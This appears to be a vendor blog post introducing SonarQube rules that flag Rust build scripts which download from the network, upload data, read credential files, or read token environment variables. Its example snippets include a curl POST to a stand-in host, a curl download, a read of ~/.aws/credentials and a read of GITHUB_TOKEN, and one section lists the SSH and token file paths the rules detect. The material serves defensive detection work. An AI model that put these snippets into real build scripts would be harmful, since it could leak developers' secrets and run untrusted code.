Keep Rust build scripts out of your credential path

Cargo compiles and runs build.rs before it builds the rest of your crate, and that script executes on the host machine with full access to the network and every environment variable in scope. If your CI runner injects creds at the process level, the build script can read those too. A lot of build scripts do something harmless like linking a C library or generating protobuf bindings, but the ones that download binaries, read ~/.aws/credentials, or pull tokens from the environment don’t often get the security scrutiny they deserve during review.

When the proc-macro1 incident happened in August 2026, an attacker-controlled crate carried a build script that downloaded a malicious payload during cargo build. An arrayref@0.3.10 release added it as a dependency, putting that build script in real projects, and it was live on crates.io for 86 minutes before removal. Catching that at the source level is hard because Cargo's cache is not normally included in project scans. Your own build scripts are more tractable because they sit in your repository, show up in diffs, and can be analyzed before they run.

SonarQube now has four rules that flag dangerous build.rs behavior: network downloads, data uploads, credential file reads, and credential environment variable access. All four are active by default in SonarQube Cloud.

Four behaviors that should be visible in review

Each rule targets something a build script can access on your machine.

Network downloads (S9164)

// build.rs
fn main() {
    let _ = std::process::Command::new("curl")
        .args(["--fail", "--location",
               "https://example.com/codegen-tool.tar.gz"])
        .output();
}

When a build script downloads content from the network, the artifact bypasses your lockfile and your dependency auditing. The content can change between builds subtly, and a compromised server turns cargo build into an arbitrary code execution vector. S9164 detects HTTP client calls through libraries like reqwest and ureq, along with subprocess invocations of curl and wget. An allowedHosts parameter lets you explicitly trust specific hosts when your team has decided a network fetch is acceptable. The default is an empty allowlist, so every network download in a build script raises an issue.

Data uploads (S9165)

// build.rs
fn main() {
    let _ = std::process::Command::new("curl")
        .args(["--request", "POST",
               "https://example.com/build-metadata",
               "--data", "report=1"])
        .output();
}

Cargo's build script model covers code generation, native dependency compilation, and build configuration. Sending data to a remote server falls outside that scope. S9165 flags outbound POST and PUT operations through both subprocess commands and HTTP client libraries. Outbound requests from a build script deserve scrutiny because they can send data like source files and credentials to a remote server.

Credential file reads (S9166)

// build.rs
fn main() {
    let _ = std::fs::read_to_string("/home/user/.aws/credentials");
}

S9166 flags reads of known credential paths: SSH private keys (~/.ssh/id_rsa, ~/.ssh/id_ed25519), cloud provider credentials (~/.aws/credentials, ~/.azure/credentials), package manager tokens (~/.cargo/credentials.toml, ~/.npmrc, ~/.pypirc), Docker configs, and git credentials. The rule covers both hardcoded absolute paths and paths constructed by joining a home directory with known credential file locations. Build scripts should read project files and vendored dependencies, not files that exist because the developer has authenticated to other services.

S9166 reports with BLOCKER security impact.

Credential environment variables (S9167)

// build.rs
fn main() {
    let _ = std::env::var("GITHUB_TOKEN");
}

CI pipelines and developer machines routinely have GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, CARGO_REGISTRY_TOKEN, and NPM_TOKEN in the environment. Cargo sets specific build-configuration variables for build scripts (OUT_DIR, TARGET, HOST, CARGO_PKG_*, CARGO_FEATURE_*), but the script also inherits the full process environment. On a CI runner, that environment often includes credentials configured for the job or its integrated services. A stolen CARGO_REGISTRY_TOKEN could allow publishing to a registry if the token's scope allows it. A stolen GITHUB_TOKEN could grant repo access depending on the workflow's permissions. S9167 flags reads of all these variables because they fall outside the set of legitimate inputs.

Make the build script boring

The fix for most of these findings is to move the work somewhere else; if your build script downloads a code generation tool, vendor the binary in your repository or fetch it in a controlled setup step before the build. If it reads host-specific config, use the env variables Cargo provides rather than reaching into the host filesystem or credential stores. Write generated output to OUT_DIR, which Cargo manages per crate, instead of writing to arbitrary paths. Build scripts that need platform-specific logic can branch on TARGET or HOST without reaching outside the build environment for context.

A build.rs should be deterministic and local. If a controlled setup step fetches an external binary, verify its SHA-256 hash in that step so that a substituted or tampered artifact fails before the build consumes it.

Scope and next steps

These rules analyze the build.rs files SonarQube includes in your project analysis, typically the files in your source tree. They complement tools like cargo-audit for known advisories, cargo-vet for review coverage, and dependency scanning for indirect dependency risk. Files Cargo downloads to its cache are normally not part of that analysis.

The Cargo project has an open proposal for build-script sandboxing that would restrict network and filesystem access, but until that ships, checking build scripts before they run is the clearest way to spot risky behavior.